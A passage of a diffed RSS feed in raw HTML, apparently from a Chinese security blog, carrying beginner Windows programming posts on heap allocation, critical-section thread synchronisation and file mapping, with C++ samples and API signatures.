style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwBytes // 分配大小(字节为单位) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> dwFlags: +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_GENERATE_EXCEPTIONS -&gt; 抛出异常 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_NO_SERIALIZE -&gt; 不连续存储 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HEAP_ZERO_MEMORY -&gt; 将内存块全部清零 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> LPTSTR tAlloc <span style="color:#f92672">=</span> (LPTSTR)<span style="color:#a6e22e">HeapAlloc</span>(hHeapRand, HEAP_ZERO_MEMORY, <span style="color:#ae81ff">1000</span>); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 在已分配的基础上继续分配 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DECLSPEC_ALLOCATOR LPVOID HeapReAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE hHeap, // 堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD dwFlags, // 内存分配标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> _Frees_ptr_opt_ LPVOID lpMem, // 分配内存后的位置 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwBytes // 分配大小(字节为单位) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapReAlloc</span>(hHeapRand, HEAP_ZERO_MEMORY<span style="color:#f92672">|</span> HEAP_REALLOC_IN_PLACE_ONLY, (LPVOID)tAlloc,<span style="color:#ae81ff">24</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">lstrcpy</span>((LPTSTR)tAlloc, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;HEllo&#34;</span>)); +</span></span><span style="display:flex;"><span> DWORD dwHeapSize <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapSize</span>(hHeapRand, HEAP_NO_SERIALIZE, tAlloc); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;HeapSize : &#34;</span> <span style="color:#f92672">&lt;&lt;</span> dwHeapSize <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapFree</span>(hHeapRand, HEAP_NO_SERIALIZE, tAlloc); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapDestroy</span>(hHeapRand); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Success ... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-虚拟内存页管理">0x03 虚拟内存页管理</h2> +<h3 id="申请虚拟内存页">申请虚拟内存页</h3> +<p><strong>VirtualAlloc</strong></p>Windows - 线程同步https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/<h2 id="0x00-线程基础">0x00 线程基础</h2> +<p>每个线程的堆栈空间不同,在多线程执行时,可以互不干扰的运行,但是全局变量保存在全局区,当多个线程读写全局变量时,由于读写操作不是原子的,会发生程序错乱。</p> +<h3 id="为什么不是原子">为什么不是原子?</h3> +<p>当自增、自减时,需要两行汇编指令,而CPU线程调度的最小单位是一行汇编指令,所以当某个值自增时,操作就不是原子的。</p> +<p>为了保证多线程读写全局变量达到同步,可以使用临界区技术,Windows正是实现了这个技术,提供了对应的API。</p> <h2 id="0x01-令牌线程同步">0x01 令牌线程同步</h2> <p>代码:</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> @@ -2578,7 +5022,68 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 -</span></code></pr</description></item><item><title>Windows 文件映射https://payloads.online/archivers/2018-12-20/windows-FileMapping/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/windows-FileMapping/<h2 id="0x00-文件映射的原理">0x00 文件映射的原理</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>DWORD num <span style="color:#f92672">=</span> <span style="color:#ae81ff">100</span>; +</span></span><span style="display:flex;"><span>CRITICAL_SECTION cs; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>DWORD WINAPI <span style="color:#a6e22e">ThreadPro1</span>() { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Thread num :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> num <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34; Thread ID :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetCurrentThreadId</span>() <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> num<span style="color:#f92672">--</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>DWORD WINAPI <span style="color:#a6e22e">ThreadPro2</span>() { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Thread num :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> num <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34; Thread ID :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetCurrentThreadId</span>() <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> num<span style="color:#f92672">--</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> HANDLE hThread[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">InitializeCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> hThread[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, <span style="color:#ae81ff">0</span>,(PTHREAD_START_ROUTINE) ThreadPro1, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> hThread[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, <span style="color:#ae81ff">0</span>, (PTHREAD_START_ROUTINE)ThreadPro2, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForMultipleObjects</span>(<span style="color:#ae81ff">2</span>, hThread, TRUE,INFINITE); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Success ... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-令牌api">0x02 令牌API</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>CRITICAL_SECTION cs; // 创建临界区变量 +</span></span><span style="display:flex;"><span>InitializeCriticalSection(CRITICAL_SECTION *); // 初始化临界区变量 +</span></span><span style="display:flex;"><span>EnterCriticalSection(CRITICAL_SECTION *);//获取临界区变量 +</span></span><span style="display:flex;"><span>LeaveCriticalSection(CRITICAL_SECTION *);//离开临界区 +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-互斥体">0x03 互斥体</h2> +<p>CRITICAL_SECTION是在进程的虚拟内存空间的一种锁,互斥体(Mutex)是用于内核级资源(内核空间)的线程同步锁,如:跨进程间的读写内核级资源。</p>Windows 文件映射https://payloads.online/archivers/2018-12-20/windows-FileMapping/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/windows-FileMapping/<h2 id="0x00-文件映射的原理">0x00 文件映射的原理</h2> <p>文件映射(Mapping)是一种能够将文件内容映射到进程的虚拟地址空间的技术。视图(view)是一个由映射句柄开辟的一块虚拟地址空间,用于存放文件内容,当文件被映射完成后,改写视图虚拟地址空间的内容就相当于更改文件内容。</p> <p>一般情况下,当代码运行完毕后,视图将会被自动写入文件中。</p> <h2 id="0x01-文件映射的步骤">0x01 文件映射的步骤</h2> @@ -2624,7 +5129,154 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 -</span></code></pr</description></item><item><title>最近学习Windows编程总结https://payloads.online/archivers/2018-12-20/1/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/1/<h2 id="0x00-windows-字符编码">0x00 Windows 字符编码</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 内存映射 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// CreateFile()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// CreateFileMapping()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// MapViewofFile()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// FlushViewofFile... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Temp</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">99.txt&#34;</span>), GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;CreateFile&#34;</span>), <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error&#34;</span>), MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> HANDLE hMap <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFileMapping</span>(hFile, NULL, PAGE_READWRITE, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1024</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;f&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hMap <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> TCHAR szBuff[<span style="color:#ae81ff">100</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;sssss</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> TCHAR <span style="color:#f92672">*</span> pFileVoid <span style="color:#f92672">=</span> (TCHAR <span style="color:#f92672">*</span>)<span style="color:#a6e22e">MapViewOfFile</span>(hMap, FILE_MAP_ALL_ACCESS, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1024</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_tcscpy_s</span>(pFileVoid, <span style="color:#a6e22e">_countof</span>(szBuff), szBuff); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(pFileVoid); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hMap); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hFile); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-api-list">0x03 API List</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE WINAPI <span style="color:#a6e22e">CreateFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCTSTR lpFileName, +</span></span><span style="display:flex;"><span> _In_ DWORD dwDesiredAccess, +</span></span><span style="display:flex;"><span> _In_ DWORD dwShareMode, +</span></span><span style="display:flex;"><span> _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, +</span></span><span style="display:flex;"><span> _In_ DWORD dwCreationDisposition, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFlagsAndAttributes, +</span></span><span style="display:flex;"><span> _In_opt_ HANDLE hTemplateFile +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE WINAPI <span style="color:#a6e22e">CreateFileMapping</span>( +</span></span><span style="display:flex;"><span> _In_ HANDLE hFile, +</span></span><span style="display:flex;"><span> _In_opt_ LPSECURITY_ATTRIBUTES lpAttributes, +</span></span><span style="display:flex;"><span> _In_ DWORD flProtect, +</span></span><span style="display:flex;"><span> _In_ DWORD dwMaximumSizeHigh, +</span></span><span style="display:flex;"><span> _In_ DWORD dwMaximumSizeLow, +</span></span><span style="display:flex;"><span> _In_opt_ LPCTSTR lpName +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>LPVOID WINAPI <span style="color:#a6e22e">MapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ HANDLE hFileMappingObject, +</span></span><span style="display:flex;"><span> _In_ DWORD dwDesiredAccess, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFileOffsetHigh, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFileOffsetLow, +</span></span><span style="display:flex;"><span> _In_ SIZE_T dwNumberOfBytesToMap +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">FlushViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress, +</span></span><span style="display:flex;"><span> _In_ SIZE_T dwNumberOfBytesToFlush +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">UnmapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td 